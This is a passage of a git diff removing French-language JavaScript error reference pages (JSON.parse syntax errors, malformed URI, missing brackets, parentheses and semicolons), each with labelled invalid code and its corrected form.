var map = new Map;
-map.set('France', 'Paris');
-map.set('England', 'London');
-// On parcourt les noms des propriétés
-for (let country of map.keys()) {
-    let capital = map[country];
-    console.log(country, capital);
-}
-
-for (let capital of map.values())
-    console.log(capital);
-
-for (const [country, capital] of map.entries())
-    console.log(country, capital);
-
- -

Itérer grâce à un générateur

- -

Les générateurs sont des fonctions qui, lorsqu'elles sont appelées, produisent des objets itérables.

- -
function* generate(a, b) {
-  yield a;
-  yield b;
-}
-
-for (let x of generate) // TypeError: generate is not iterable
-    console.log(x);
-
- -

Lorsqu'elles ne sont pas appelées, l'objet {{jsxref("Function")}} correspondant au générateur peut être appelé mais il n'est pass itérable. Il ne faut donc pas oublier d'invoquer le générateur afin de parcourir les valeurs de l'itérateur qu'il produit.

- -
function* generate(a, b) {
-    yield a;
-    yield b;
-}
-
-for (let x of generate(1,2))
-    console.log(x);
-
- -

Parcourir un itérable spécifique

- -

Les itérables spécifiques (custom iterables) peuvent être créés en implémentant la méthode {{jsxref("Symbol.iterator")}}. En implémentant cette méthode, il faut s'assurer que la valeur renvoyée est un objet qui est un itérateur. Autrement dit, l'objet renvoyé doit posséder une méthode next().

- -
const monIterableVide = {
-    [Symbol.iterator]() {
-        return [] // [] est un iterable mais pas un itérateur
-                  // car il n'a pas de méthode next
-    }
-}
-
-Array.from(monIterableVide);  // TypeError: monIterableVide is not iterable
-
- -

Voici une implémentation correcte :

- -
const monIterableVide = {
-    [Symbol.iterator]() {
-        return [][Symbol.iterator]()
-    }
-}
-
-Array.from(monIterableVide);  // []
-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/json_bad_parse/index.html b/files/fr/web/javascript/reference/erreurs/json_bad_parse/index.html deleted file mode 100644 index b09d02bdaf..0000000000 --- a/files/fr/web/javascript/reference/erreurs/json_bad_parse/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: 'SyntaxError: JSON.parse: bad parsing' -slug: Web/JavaScript/Reference/Erreurs/JSON_bad_parse -tags: - - Erreurs - - JSON - - JavaScript - - NeedsExample - - SyntaxError -translation_of: Web/JavaScript/Reference/Errors/JSON_bad_parse ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
SyntaxError: JSON.parse: unterminated string literal
-SyntaxError: JSON.parse: bad control character in string literal
-SyntaxError: JSON.parse: bad character in string literal
-SyntaxError: JSON.parse: bad Unicode escape
-SyntaxError: JSON.parse: bad escape character
-SyntaxError: JSON.parse: unterminated string
-SyntaxError: JSON.parse: no number after minus sign
-SyntaxError: JSON.parse: unexpected non-digit
-SyntaxError: JSON.parse: missing digits after decimal point
-SyntaxError: JSON.parse: unterminated fractional number
-SyntaxError: JSON.parse: missing digits after exponent indicator
-SyntaxError: JSON.parse: missing digits after exponent sign
-SyntaxError: JSON.parse: exponent part is missing a number
-SyntaxError: JSON.parse: unexpected end of data
-SyntaxError: JSON.parse: unexpected keyword
-SyntaxError: JSON.parse: unexpected character
-SyntaxError: JSON.parse: end of data while reading object contents
-SyntaxError: JSON.parse: expected property name or '}'
-SyntaxError: JSON.parse: end of data when ',' or ']' was expected
-SyntaxError: JSON.parse: expected ',' or ']' after array element
-SyntaxError: JSON.parse: end of data when property name was expected
-SyntaxError: JSON.parse: expected double-quoted property name
-SyntaxError: JSON.parse: end of data after property name when ':' was expected
-SyntaxError: JSON.parse: expected ':' after property name in object
-SyntaxError: JSON.parse: end of data after property value in object
-SyntaxError: JSON.parse: expected ',' or '}' after property value in object
-SyntaxError: JSON.parse: expected ',' or '}' after property-value pair in object literal
-SyntaxError: JSON.parse: property names must be double-quoted strings
-SyntaxError: JSON.parse: expected property name or '}'
-SyntaxError: JSON.parse: unexpected character
-SyntaxError: JSON.parse: unexpected non-whitespace character after JSON data
-SyntaxError: JSON.parse Error: Invalid character at position {0} (Edge)
-
- -

Type d'erreur

- -

{{jsxref("SyntaxError")}}

- -

Quel est le problème ?

- -

Lorsque la méthode {{jsxref("JSON.parse()")}} analyse (parse) une chaîne de caractères en JSON, cette chaîne doit être du JSON valide et une exception sera levée si la syntaxe est incorrecte.

- -

Exemples

- -

JSON.parse() n'accepte pas les virgules en fin de tableau

- -

Les deux lignes qui suivent déclencheront une exception SyntaxError :

- -
JSON.parse('[1, 2, 3, 4, ]');
-JSON.parse('{"foo" : 1, }');
-// SyntaxError JSON.parse: unexpected character
-// at line 1 column 14 of the JSON data
-
- -

Pour que la méthode puisse analyser le JSON correctement, on évitera les virgules en fin de tableau :

- -
JSON.parse('[1, 2, 3, 4 ]');
-JSON.parse('{"foo" : 1 }');
- -

Les noms des propriétés doivent être entre double quotes

- -

On ne peut pas utiliser de quotes simples pour indiquer le nom d'une propriété (ex. 'toto').

- -
JSON.parse("{'toto' : 1 }");
-// SyntaxError: JSON.parse: expected property name or '}'
-// at line 1 column 2 of the JSON data
- -

À la place, on écrira "toto" :

- -
JSON.parse('{"toto" : 1 }');
- -

Zéros en début de nombres et points décimaux

- -

On ne peut pas utiliser de zéros en début de nombre (ex. 01). Par ailleurs, les nombres décimaux doivent avoir une partie décimale, on ne peut pas terminer un nombre par un point.

- -
JSON.parse('{"toto" : 01 }');
-// SyntaxError: JSON.parse: expected ',' or '}' after property value
-// in object at line 1 column 2 of the JSON data
-
-JSON.parse('{"toto" : 1. }');
-// SyntaxError: JSON.parse: unterminated fractional number
-// at line 1 column 2 of the JSON data
-
- -

Pour que cela fonctionne, on écrira simplement 1 sans 0 devant et au moins un chiffre après le séparateur décimal :

- -
JSON.parse('{"toto" : 1 }');
-JSON.parse('{"toto" : 1.0 }');
-
- -

Voir aussi

- -
    -
  • {{jsxref("JSON")}}
    • -
  • {{jsxref("JSON.parse()")}}
    • -
  • {{jsxref("JSON.stringify()")}}
    • -
diff --git a/files/fr/web/javascript/reference/erreurs/malformed_formal_parameter/index.html b/files/fr/web/javascript/reference/erreurs/malformed_formal_parameter/index.html deleted file mode 100644 index cd40696f25..0000000000 --- a/files/fr/web/javascript/reference/erreurs/malformed_formal_parameter/index.html +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: 'SyntaxError: Malformed formal parameter' -slug: Web/JavaScript/Reference/Erreurs/Malformed_formal_parameter -tags: - - Erreurs - - JavaScript - - SyntaxError -translation_of: Web/JavaScript/Reference/Errors/Malformed_formal_parameter ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
SyntaxError: Expected {x} (Edge)
-SyntaxError: malformed formal parameter (Firefox)
-
- -

Type d'erreur

- -

{{jsxref("SyntaxError")}}

- -

Quel est le problème ?

- -

La méthode {{jsxref("Function()")}} a été utilisée avec au moins deux arguments. Le dernier argument correspond au code source de la nouvelle fonction qui est créée. Les autres arguments sont la liste des arguments passés à la fonction.

- -

C'est cette liste d'arguments qui est, pour une certaine raison, invalide. Il s'agit peut-être d'un mot-clé (if ou var par exemple) utilisé comme un nom d'argument, ou d'un signe de ponctuation mal placé. Il peut également s'agir d'une valeur invalide comme un nombre ou un objet.

- -

OK mais pourquoi cette formulation étrange ?

- -

En effet, "Formal parameter" est une manière étrange de dire  « argument de fonction ». Le mot "malformed" (malformé) est utilisé car les ingénieurs travaillant sur Firefox engineers apprécient énormément les romans gothiques du XIXe.

- -

Examples

- -

Exemples invalides

- -
var f = Function("x y", "return x + y;");
-// SyntaxError (virgule manquante)
-
-var f = Function("x,", "return x;");
-// SyntaxError (virgule mal placée)
-
-var f = Function(37, "console.log('OK')");
-// SyntaxError (des nombres ne peuvent être des noms)
-
- -

Exemples valides

- -
 // Ponctuation correcte
-var f = Function("x, y", "return x + y;");
-
-var f = Function("x", "return x;");
-
-// Voici une alternative plus rapide
-// si vous pouvez éviter Function
-var f = function (x) { return x; };
-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/malformed_uri/index.html b/files/fr/web/javascript/reference/erreurs/malformed_uri/index.html deleted file mode 100644 index 7226c9467e..0000000000 --- a/files/fr/web/javascript/reference/erreurs/malformed_uri/index.html +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: 'URIError: malformed URI sequence' -slug: Web/JavaScript/Reference/Erreurs/Malformed_URI -tags: - - Erreurs - - JavaScript - - URIError -translation_of: Web/JavaScript/Reference/Errors/Malformed_URI ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
URIError: The URI to be encoded contains invalid character (Edge)
-URIError: malformed URI sequence (Firefox)
-URIError: URI malformed (Chrome)
-
- -

Type d'erreur

- -

{{jsxref("URIError")}}

- -

Quel est le problème ?

- -

Il y a eu une erreur lors de l'encodage ou du décodage de l'URI. Un argument fourni à {{jsxref("decodeURI")}}, {{jsxref("encodeURI")}}, {{jsxref("encodeURIComponent")}} ou à {{jsxref("decodeURIComponent")}} n'était pas valide et la fonction concernée n'a pas pu encoder ou décoder la valeur correctement.

- -

Exemples

- -

Encodage

- -

L'encodage permet de remplacer certains caractères par une, deux, trois voire quatre séquences d'échappement qui représente l'encodage UTF-8 du caractère. Une exception {{jsxref("URIError")}} sera levée si on tente d'encoder un caractère surrogate qui ne fait pas partie d'une paire de codets :

- -
encodeURI('\uD800');
-// "URIError: malformed URI sequence"
-
-encodeURI('\uDFFF');
-// "URIError: malformed URI sequence"
-
- -

En revanche, si on dispose de la paire de codets :

- -
encodeURI('\uD800\uDFFF');
-// "%F0%90%8F%BF"
- -

Décodage

- -

Le décodage permet de remplacer chaque séquence d'échappement dans le composant encodé par le caractère qu'elle représente. S'il n'existe aucun caractère correspondant, une exception sera déclenchée :

- -
decodeURIComponent('%E0%A4%A');
-// "URIError: malformed URI sequence"
-
- -

Avec la valeur d'entrée correcte, on a généralement quelque chose qui ressemble à :

- -
decodeURIComponent('JavaScript_%D1%88%D0%B5%D0%BB%D0%BB%D1%8B');
-// "JavaScript_шеллы"
- -

Voir aussi

- -
    -
  • {{jsxref("URIError")}}
    • -
  • {{jsxref("decodeURI")}}
    • -
  • {{jsxref("encodeURI")}}
    • -
  • {{jsxref("encodeURIComponent")}}
    • -
  • {{jsxref("decodeURIComponent")}}
    • -
diff --git a/files/fr/web/javascript/reference/erreurs/missing_bracket_after_list/index.html b/files/fr/web/javascript/reference/erreurs/missing_bracket_after_list/index.html deleted file mode 100644 index f27872f633..0000000000 --- a/files/fr/web/javascript/reference/erreurs/missing_bracket_after_list/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: 'SyntaxError: missing ] after element list' -slug: Web/JavaScript/Reference/Erreurs/Missing_bracket_after_list -tags: - - Erreurs - - JavaScript - - Reference - - SyntaxError -translation_of: Web/JavaScript/Reference/Errors/Missing_bracket_after_list ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
SyntaxError: missing ] after element list
-
- -

Type d'erreur

- -

{{jsxref("SyntaxError")}}.

- -

Quel est le problème ?

- -

Il y a une erreur dans le littéral de tableau qui est uilisé. Il manque un crochet fermant ("]") ou une virgule qui sépare les éléments.

- -

Exemples

- -

Littéraux de tableaux incomplets

- -
var liste = [1, 2,
-
-var instruments = [
-  "Ukulele",
-  "Guitare",
-  "Piano"
-};
-
-var data = [{toto: "truc"} {titi: "bidule"}];
-
- -

Les versions correctes seraient :

- -
var liste = [1, 2];
-
-var instruments = [
- "Ukulele",
- "Guitare",
- "Piano"
-];
-
-var data = [{toto: "truc"}, {titi: "bidule"}];
- -

Voir aussi

- -
    -
  • {{jsxref("Array")}}
    • -
diff --git a/files/fr/web/javascript/reference/erreurs/missing_colon_after_property_id/index.html b/files/fr/web/javascript/reference/erreurs/missing_colon_after_property_id/index.html deleted file mode 100644 index 8b03eb22a3..0000000000 --- a/files/fr/web/javascript/reference/erreurs/missing_colon_after_property_id/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: 'SyntaxError: missing : after property id' -slug: Web/JavaScript/Reference/Erreurs/Missing_colon_after_property_id -tags: - - Erreurs - - JavaScript - - SyntaxError -translation_of: Web/JavaScript/Reference/Errors/Missing_colon_after_property_id ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
SyntaxError: Expected ':' (Edge)
-SyntaxError: missing : after property id (Firefox)
-
- -

Type d'erreur

- -

{{jsxref("SyntaxError")}}

- -

Quel est le problème ?

- -

Lorsqu'on crée un objet en utilisant un initialisateur d'objet, il faut utiliser un deux-points ( : ) afin de séparer les clés des valeurs pour les propriétés de l'objet.

- -
var obj = { cleDeLaPropriete: 'valeur' };
-
- -

Exemples

- -

Deux-points et signe égal

- -

Le code qui suit provoquera une erreur car on utilise un signe égal (=) à la place du deux-points.

- -
var obj = { cleDeLaPropriete = 'valeur' };
-// SyntaxError: missing : after property id
-
- -

Pour corriger ce problème, on peut utiliser un deux-points ou bien affecter la nouvelle propriété après avoir créé l'objet :

- -
var obj = { cleDeLaPropriete: 'valeur' };
-
-// ou encore :
-
-var obj = { };
-obj['cleDeLaPropriete'] = 'valeur';
-
- -

Propriétés vides

- -

On ne peut pas créer de propriétés vides de cette façon :

- -
var obj = { cleDeLaPropriete; };
-// SyntaxError: missing : after property id
-
- -

Si vous souhaitez définir une propriété sans valeur, vous pouvez utiliser le mot-clé {{jsxref("null")}} :

- -
var obj = { cleDeLaPropriete: null };
- -

Propriétés calculées

- -

Si vous souhaitez créer une clé de propriété à partir d'une expression, il faudra utiliser des crochets pour encadrer l'expression (sinon le nom de la propriété ne pourra pas être calculé) :

- -
var obj = { 'tr'+'uc': 'toto' };
-// SyntaxError: missing : after property id
-
- -

Pour corriger l'erreur, il faudra placer l'expression entre crochets :

- -
var obj = { ['tr'+'uc']: 'toto' };
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/missing_curly_after_function_body/index.html b/files/fr/web/javascript/reference/erreurs/missing_curly_after_function_body/index.html deleted file mode 100644 index 1a69b9696b..0000000000 --- a/files/fr/web/javascript/reference/erreurs/missing_curly_after_function_body/index.html +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: 'SyntaxError: missing } after function body' -slug: Web/JavaScript/Reference/Erreurs/Missing_curly_after_function_body -tags: - - Erreurs - - JavaScript - - SyntaxError -translation_of: Web/JavaScript/Reference/Errors/Missing_curly_after_function_body ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
SyntaxError: Expected '}' (Edge)
-SyntaxError: missing } after function body (Firefox)
-
- -

Type d'erreur

- -

{{jsxref("SyntaxError")}}

- -

Quel est le problème ?

- -

Il y a une erreur de syntaxe près d'une création de fonction. Dans ce cas, il est préférable de vérifier que les parenthèses et accolades fermantes sont bien présentes et dans le bon ordre. Indenter et formater le code peut vous aider à vous y retrouver parmi les éventuels différents niveaux d'imbrication.

- -

Exemples

- -

Oubli d'une accolade fermante

- -

La plupart du temps, il s'agit d'une accolade manquante dans le code de la fonction :

- -
var charge = function() {
-  if (soleil) {
-    utiliserPanneauSolaire();
-  } else {
-    utiliserVelo();
-};
-
- -

La forme correcte est :

- -
var charge = function() {
-  if (soleil) {
-    utiliserPanneauSolaire();
-  } else {
-    utiliserVelo();
-  }
-};
- -

Une erreur de ce type peut être moins visible lorsqu'on utilise les fonctions qui sont appelées immédiatement, les fermetures ou d'autres formes qui utilisent de nombreuses parenthèses et/ou accolades comme par exemple :

- -
(function() { if (true) { return false; } );
-
- -

Généralement, mettre en forme et vérifier l'indentation permet de repérer ces erreurs.

- -
(function() {
-  if (true) {
-    return false;
-  }
-});
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/missing_curly_after_property_list/index.html b/files/fr/web/javascript/reference/erreurs/missing_curly_after_property_list/index.html deleted file mode 100644 index 52052eff14..0000000000 --- a/files/fr/web/javascript/reference/erreurs/missing_curly_after_property_list/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: 'SyntaxError: missing } after property list' -slug: Web/JavaScript/Reference/Erreurs/Missing_curly_after_property_list -tags: - - Erreurs - - JavaScript - - SyntaxError -translation_of: Web/JavaScript/Reference/Errors/Missing_curly_after_property_list ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
SyntaxError: Expected '}' (Edge)
-SyntaxError: missing } after property list (Firefox)
-
- -

Type d'erreur

- -

{{jsxref("SyntaxError")}}

- -

Quel est le problème ?

- -

Il y a une coquille dans le littéral objet utilisé. Cela peut être dû à une accolade manquante ou à une virgule manquante. Il est aussi utile de vérifier que les accolades et les parenthèses sont bien ordonnées. Pour ce type d'erreur, une bonne indentation permet de repérer plus facilement la coquille parmi les lignes de code.

- -

Exemples

- -

Une virgule oubliée

- -

Il arrive parfois que ce soit une virgule absente dans le littéral qui entraîne cette erreur :

- -
var obj = {
-  a: 1,
-  b: { maProp: 2 }
-  c: 3
-};
-
- -

La version correcte correspondante est :

- -
var obj = {
-  a: 1,
-  b: { maProp: 2 },
-  c: 3
-};
-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/missing_formal_parameter/index.html b/files/fr/web/javascript/reference/erreurs/missing_formal_parameter/index.html deleted file mode 100644 index e194e8cbda..0000000000 --- a/files/fr/web/javascript/reference/erreurs/missing_formal_parameter/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: 'SyntaxError: missing formal parameter' -slug: Web/JavaScript/Reference/Erreurs/Missing_formal_parameter -tags: - - Erreurs - - JavaScript - - SyntaxError -translation_of: Web/JavaScript/Reference/Errors/Missing_formal_parameter ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
SyntaxError: missing formal parameter (Firefox)
-
- -

Type d'erreur

- -

{{jsxref("SyntaxError")}}

- -

Quel est le problème ?

- -

« Formal parameter » (ou « paramètre formel ») est une façon de désigner un paramètre d'une fonction. Ici, certains des paramètres de la fonction sont invalides. Lorsqu'on déclare une fonction, les paramètres doivent être des identifiants et non des valeurs (telles que des nombres, des chaînes de caractères ou des objets). La déclaration et l'appel de la fonction forment deux étapes distinctes. Les déclarations utilisent uniquement des identifiants comme paramètres. Lorsqu'on appelle une fonction, on fournit les valeurs à utiliser.

- -

En JavaScript, les identifiants peuvent contenir n'importe quel caractère alphanumérique (ou "$" or "_") et ne doivent pas commencer par un nombre. Un identifiant n'est pas une chaîne de caractères, une chaîne de caractères est une donnée alors qu'un identifiant fait partie du code.

- -

Exemples

- -

Lorsqu'on définit une fonction, les paramètres doivent être des identifiants. Aucune des fonctions suivantes ne répond à ce critère (elles lèvent donc toutes une erreur) car elles utilisent des valeurs :

- -
function carre(3) {
-  return nombre * nombre;
-};
-// SyntaxError: missing formal parameter
-
-function salutation("Coucou") {
-  return salut;
-};
-// SyntaxError: missing formal parameter
-
-function log({ obj: "value"}) {
-  console.log(arg)
-};
-// SyntaxError: missing formal parameter
-
- -

Il faut utiliser des identifiants lors de la déclaration des fonctions :

- -
function carre(nombre) {
-  return nombre * nombre;
-};
-
-function salutation(salut) {
-  return salut;
-};
-
-function log(arg) {
-  console.log(arg)
-};
- -

Ensuite, on pourra appeler ces fonctions avec les arguments voulus :

- -
carre(2); // 4
-salutation("Coucou"); // "Coucou"
-log({obj: "value"});  // Object { obj: "value" }
-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/missing_initializer_in_const/index.html b/files/fr/web/javascript/reference/erreurs/missing_initializer_in_const/index.html deleted file mode 100644 index 60a5c519be..0000000000 --- a/files/fr/web/javascript/reference/erreurs/missing_initializer_in_const/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: 'SyntaxError: missing = in const declaration' -slug: Web/JavaScript/Reference/Erreurs/Missing_initializer_in_const -tags: - - Erreurs - - JavaScript - - SyntaxError -translation_of: Web/JavaScript/Reference/Errors/Missing_initializer_in_const ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
SyntaxError: Const must be initalized (Edge)
-SyntaxError: missing = in const declaration (Firefox)
-SyntaxError: Missing initializer in const declaration (Chrome)
-
- -

Type d'erreur

- -

{{jsxref("SyntaxError")}}

- -

Quel est le problème ?

- -

Une constante est une valeur qui ne peut pas être modifiée par le programme pendant l'exécution. Elle ne peut pas être changée avec une réaffectation ou une redéclaration. En JavaScript, les constantes sont déclarées grâce au mot-clé const. Il est également nécessaire de fournir une valeur d'initialisation dans l'instruction où on déclare la constante (ce qui est logique vu qu'on ne peut pas la modifier ensuite).

- -

Exemples

- -

Valeur d'initialisation manquante

- -

À la différence de var ou de let, il est nécessaire d'indiquer une valeur lors de la déclaration. Si aucune valeur n'est indiquée, une exception sera levée :

- -
const COLUMNS;
-// SyntaxError: missing = in const declaration
- -

Résoudre le problème

- -

On a le choix entre plusieurs options pour résoudre ce problème. Il faut comprendre le rôle de la constante en question.

- -

Ajouter une valeur constante

- -

On peut indiquer la valeur de la constante dans la même instruction :

- -
const COLONNES = 80;
- -

const, let ou var ?

- -

const ne doit pas être utilisé si on ne souhaite pas déclarer de constante. Peut-être qu'on souhaite simplement déclarer une variable avec une portée de bloc grâce à let ou une variable globale avec var. Ces deux instructions ne nécessitent pas de valeur initiale.

- -
let colonnes;
-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/missing_name_after_dot_operator/index.html b/files/fr/web/javascript/reference/erreurs/missing_name_after_dot_operator/index.html deleted file mode 100644 index 6001e9ac34..0000000000 --- a/files/fr/web/javascript/reference/erreurs/missing_name_after_dot_operator/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: 'SyntaxError: missing name after . operator' -slug: Web/JavaScript/Reference/Erreurs/Missing_name_after_dot_operator -tags: - - Erreurs - - JavaScript - - SyntaxError -translation_of: Web/JavaScript/Reference/Errors/Missing_name_after_dot_operator ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
SyntaxError: missing name after . operator
-
- -

Type d'erreur

- -

{{jsxref("SyntaxError")}}

- -

Quel est le problème ?

- -

L'opérateur . (le point) est utilisé pour accéder aux propriétés d'un objet. Il est nécessaire d'indiquer le nom de la propriété à laquelle on souhaite accéder. Pour les propriétés dont le nom est calculé, il est préférable d'utiliser les crochets pour encadrer le nom. Cela permet de calculer une expression dont le résultat sera le nom de la propriété recherchée. Peut-être cherchiez-vous à utiliser l'opérateur de concaténation ? C'est l'opérateur + qu'il faut utiliser dans ce cas. Pour plus de détails, voir les exemples ci-après.

- -

Exemples

- -

Accéder à une propriété

- -

Pour accéder à une propriété en JavaScript, on utilise le point (.) ou les crochets ([]) mais pas une combinaison des deux. Les crochets sont notamment utiles lorsqu'on souhaite accéder à des propriétés dont le nom est calculé.

- -
var obj = { toto: { truc: "bidule", machin2: "bidule2" } };
-var i = 2;
-
-obj.[toto].[truc]
-// SyntaxError: missing name after . operator
-
-obj.toto."machin"+i;
-// SyntaxError: missing name after . operator
-
- -

Pour corriger ce fragment de code, on pourra accéder aux propriétés de la façon suivante :

- -
obj.toto.truc; // "bidule"
-// ou autrement
-obj["toto"]["truc"]; // "bidule"
-
-// pour les propriétés dont le
-// nom est calculé, il faut les
-// crochets
-obj.toto["machin" + i]; // "bidule2"
-
- -

Accéder à une propriété ou concaténer ?

- -

Si vous avez l'habitude de développer en utilisant un autre langage de programmation tel que {{Glossary("PHP")}}, il est possible de mélanger certains opérateurs et d'utiliser le point comme opérateur de concaténation, qui est l'opérateur + en JavaScript :

- -
console.log("Coucou " . "monde");
-
-// SyntaxError: missing name after . operator
- -

À la place, on écrira :

- -
console.log("Coucou " + "monde");
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/missing_parenthesis_after_argument_list/index.html b/files/fr/web/javascript/reference/erreurs/missing_parenthesis_after_argument_list/index.html deleted file mode 100644 index fad9106a6b..0000000000 --- a/files/fr/web/javascript/reference/erreurs/missing_parenthesis_after_argument_list/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: 'SyntaxError: missing ) after argument list' -slug: Web/JavaScript/Reference/Erreurs/Missing_parenthesis_after_argument_list -tags: - - Erreurs - - JavaScript - - SyntaxError -translation_of: Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argument_list ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
SyntaxError: Expected ')' (Edge)
-SyntaxError: missing ) after argument list (Firefox)
-
- -

Type d'erreur

- -

{{jsxref("SyntaxError")}}.

- -

Quel est le problème ?

- -

 

- -

Il y a une erreur avec la façon dont une fonction est appelée . Cela peut être une faute de frappe, un opérateur manquant, ou une chaîne non-échappée, par exemple .

- -

Exemple

- -

Parce qu'il n'y a pas d'opérateur "+" pour concaténer la chaîne de caractères, JavaScript s'attend à trouver une parenthèse après "PI : ", qu'il considère comme  l'argument de la fonction log. 

- -
console.log("PI: " Math.PI);
-// SyntaxError: missing ) after argument list
-
- -

La fonction log peut être corrigée en ajoutant un opérateur "+".

- -
console.log("PI: " + Math.PI);
-// "PI: 3.141592653589793"
- -

Chaînes non terminées

- -
console.log('"Java" + "Script" = \"' + 'Java' + 'Script\");
-// SyntaxError: missing ) after argument list
- -

Dans cet exemple, le moteur JavaScript considère qu'on souhaitait avoir ); dans la chaîne de caractères et l'ignore. Aussi, le moteur considère que l'appelle à console.log n'est pas terminé et qu'il manque une parenthèse fermante. Pour corriger ce problème, on peut rajouter une quote ' après la chaîne de caractères "Script" :

- -
console.log('"Java" + "Script" = \"' + 'Java' + 'Script\"');
-// '"Java" + "Script" = "JavaScript"'
-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/missing_parenthesis_after_condition/index.html b/files/fr/web/javascript/reference/erreurs/missing_parenthesis_after_condition/index.html deleted file mode 100644 index c33118256e..0000000000 --- a/files/fr/web/javascript/reference/erreurs/missing_parenthesis_after_condition/index.html +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: 'SyntaxError: missing ) after condition' -slug: Web/JavaScript/Reference/Erreurs/Missing_parenthesis_after_condition -tags: - - Erreurs - - JavaScript - - SyntaxError -translation_of: Web/JavaScript/Reference/Errors/Missing_parenthesis_after_condition ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
SyntaxError: Expected ')' (Edge)
-SyntaxError: missing ) after condition (Firefox)
-
- -

Type d'erreur

- -

{{jsxref("SyntaxError")}}

- -

Quel est le problème ?

- -

Il y a une erreur pour la condition écrite dans l'instruction if. Pour chaque langage de programmation, on utilise des instructions pour choisir quel bloc d'instructions exécuter selon les différentes entrées. L'instruction if permet d'exécuter une instruction si une condition donnée est vérifiée. En JavaScript, il faut que cette condition apparaisse entre parenthèses après le mot-clé  if :

- -
if (condition) {
-  // faire quelque chose si la condition est vraie
-}
- -

Exemples

- -

Il s'agit peut-être simplement d'une coquille et il suffit alors de vérifier les parenthèses (ou plutôt leur absence) :

- -
if (3 > Math.PI {
-  console.log("Pardon ?");
-}
-
-// SyntaxError: missing ) after condition
-
- -

Pour corriger ce fragment de code, on ajoutera une parenthèse pour fermer la condition :

- -
if (3 > Math.PI) {
-  console.log("Pardon ?");
-}
- -

Si vous avez l'habitude d'utiliser un autre langage de programmation, peut-être avez-vous utilisé un mot-clé qui n'existe pas en JavaScript ?

- -
if (done is true) {
- console.log("we are done!");
-}
-
-// SyntaxError: missing ) after condition
-
- -

Pour corriger cette erreur, on utilisera un opérateur de comparaison correct :

- -
if (done === true) {
- console.log("Et voilà !");
-}
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/missing_semicolon_before_statement/index.html b/files/fr/web/javascript/reference/erreurs/missing_semicolon_before_statement/index.html deleted file mode 100644 index ac9f8feb15..0000000000 --- a/files/fr/web/javascript/reference/erreurs/missing_semicolon_before_statement/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: 'SyntaxError: missing ; before statement' -slug: Web/JavaScript/Reference/Erreurs/Missing_semicolon_before_statement -tags: - - Erreurs - - JavaScript - - Reference - - SyntaxError -translation_of: Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
SyntaxError: Expected ';' (Edge)
-SyntaxError: missing ; before statement (Firefox)
-
- -

Type d'erreur

- -

{{jsxref("SyntaxError")}}.

- -

Quel est le problème ?

- -

Un point-virgule est absent quelque part. En JavaScript, les instructions doivent se terminer par des points-virgules. Certaines de ces instructions sont traitées par l'insertion automatique de point-virgule (ASI pour Automatic Semicolon Insertion), mais pour le code qui provoque l'erreur, un point-virgule est nécessaire afin que le moteur JavaScript puisse analyser le code source correctement.

- -

La plupart du temps, cette erreur est la conséquence d'une autre erreur : ne pas « fermer » les chaînes de caractères correctement ou utiliser var de façon incorrecte. Il peut également y avoir trop de parenthèses à un endroit. Lorsque cette erreur apparaît, faites attention à la syntaxe du code environnant.

- -

Exemples

- -

Les chaînes laissées ouvertes

- -

Cette erreur est parfois simplement provoquée par une chaîne dont les quotes ne sont pas échappées correctement ou qui ne sont pas correctement délimitées. Le moteur JavaScript s'attend donc à trouver la fin de la chaîne. Par exemple :

- -
var toto = 'Ouvrir l'œil';
-// SyntaxError: missing ; before statement
- -

Pour éviter cela, on pourra utiliser des doubles quotes ou échapper l'apostrophe :

- -
var toto = "Ouvrir l'œil";
-var toto = 'Ouvrir l\'œil';
-
- -

Déclarer des propriétés avec var

- -

On ne peut pas déclarer de propriétés sur un objet ou un tableau avec une déclaration var.

- -
var obj = {};
-var obj.toto = "coucou"; // SyntaxError missing ; before statement
-
-var array = [];
-var array[0] = "monde"; // SyntaxError missing ; before statement
-
- -

Pour éviter cela, on n'utilisera pas le mot-clé var qui est inutile dans ces cas :

- -
var obj = {};
-obj.toto = "coucou";
-
-var array = [];
-array[0] = "monde";
-
- -

Mauvais mots-clés

- -

Il peut arriver, notamment lorsqu'on provient d'un autre langage de programmation, d'utiliser des mots-clés qui n'ont pas du tout le même sens en JavaScript :

- -
def print(info){
-  console.log(info);
-}; // SyntaxError missing ; before statement
- -

À la place de def, on utilisera le mot-clé function :

- -
function print(info){
-  console.log(info);
-};
- -

Voir aussi

